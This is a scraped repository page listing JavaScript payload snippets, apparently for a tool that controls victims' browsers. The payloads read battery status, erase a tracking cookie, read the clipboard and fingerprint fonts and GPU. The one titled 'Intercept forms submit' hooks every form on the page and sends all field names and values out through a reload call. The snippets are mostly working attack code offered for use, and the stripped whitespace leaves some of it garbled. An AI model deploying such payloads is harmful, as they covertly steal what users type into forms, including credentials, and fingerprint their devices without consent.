You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Jul 9, 2024. It is now read-only.
varBattery=function(){functions(e){n=e,i(n)}functiono(t){for(varnine.split(" "))t.addEventListener(n,s)}vare="chargingchange chargingtimechange dischargingtimechange levelchange",t=navigator.battery||navigator.mozBattery||navigator.getBattery,n=null,r=function(){},i=function(){};returnself.getStatus=function(e){n==="not supported"?e(null,n):n?e(n):r=e},self.onUpdate=function(e){i=e},tinstanceofFunction?t.call(navigator).then(function(e){n=e,r(n),o(n)},function(){n="not supported"}):t?(n=t,o(t)):n="not supported",self}(Battery||{});Battery.getStatus(function(status,error){if(error){console.error('Battery status is not supported');return;}data='Level: '+Math.floor(status.level*100)+'%;Charging: '+status.charging+';Time until charged: '+status.chargingTime+';Battery time left: '+status.dischargingTime;});
Force an update of the client information retrieved server side
eraseCookie('_uidku');data=0;
Intercept forms submit
variframe=document.getElementById("ifrm");if(iframe!=null)vardoc=iframe.contentDocument;elsevardoc=document;varforms=doc.getElementsByTagName("form");for(varj=0;j<forms.length;j++){varform=forms[j];form.onsubmit=function(){inthandler(this);}}functioninthandler(form){varkvpairs=[];data="form submitted! id="+form.id+"&name="+form.name+"&method="+form.method+"&action="+form.action+"&";for(vari=0;i<form.elements.length;i++){vare=form.elements[i];kvpairs.push(encodeURIComponent(e.name)+"="+encodeURIComponent(e.value));}data=kvpairs.join("&");/* Force to send data instantly */reloadjs(uid,data);}
Extra
Detect installed font (and the os)
varDetector=function(){// a font will be compared against all the three default fonts.// and if it doesn't match all 3 then that font is not available.varbaseFonts=['monospace','sans-serif','serif'];//we use m or w because these two characters take up the maximum width.// And we use a LLi so that the same matching fonts can get separatedvartestString="mmmmmmmmmmlli";//we test using 72px font size, we may use any size. I guess larger the better.vartestSize='72px';varh=document.getElementsByTagName("body")[0];// create a SPAN in the document to get the width of the text we use to testvars=document.createElement("span");s.style.fontSize=testSize;s.innerHTML=testString;vardefaultWidth={};vardefaultHeight={};for(varindexinbaseFonts){//get the default width for the three base fontss.style.fontFamily=baseFonts[index];h.appendChild(s);defaultWidth[baseFonts[index]]=s.offsetWidth;//width for the default fontdefaultHeight[baseFonts[index]]=s.offsetHeight;//height for the defualt fonth.removeChild(s);}functiondetect(font){vardetected=false;for(varindexinbaseFonts){s.style.fontFamily=font+','+baseFonts[index];// name of the font along with the base font for fallback.h.appendChild(s);varmatched=(s.offsetWidth!=defaultWidth[baseFonts[index]]||s.offsetHeight!=defaultHeight[baseFonts[index]]);h.removeChild(s);detected=detected||matched;}returndetected;}this.detect=detect;}varfonts=[];vard=newDetector();/* Windows fonts */fonts.push("Georgia");fonts.push("Times New Roman");fonts.push("Tahoma");fonts.push("Verdana");/* MAC fonts */fonts.push("Apple Chancery");fonts.push("Apple Symbols");fonts.push("Apple Braille");/* Linux fonts */fonts.push("Helvetica");fonts.push("Utopia");fonts.push("FreeMono");fonts.push("FreeSerif");data="";for(i=0;i<fonts.length;i++){if(d.detect(fonts[i]))data+=fonts[i]+";";}
varcanvas=document.createElement("canvas");gl=canvas.getContext("experimental-webgl");if(gl==null)data="Unable to retrieve this information";elsedata="GPU: "+gl.getParameter(gl.getExtension("WEBGL_debug_renderer_info").UNMASKED_RENDERER_WEBGL)+" "+gl.getParameter(gl.getExtension("WEBGL_debug_renderer_info").UNMASKED_VENDOR_WEBGL);
Get text in the clipboard
Only for IE, ask for permission
data=window.clipboardData.getData('Text');
Know if the page is hidden
It's true only when is opened another tab or the browser is minimized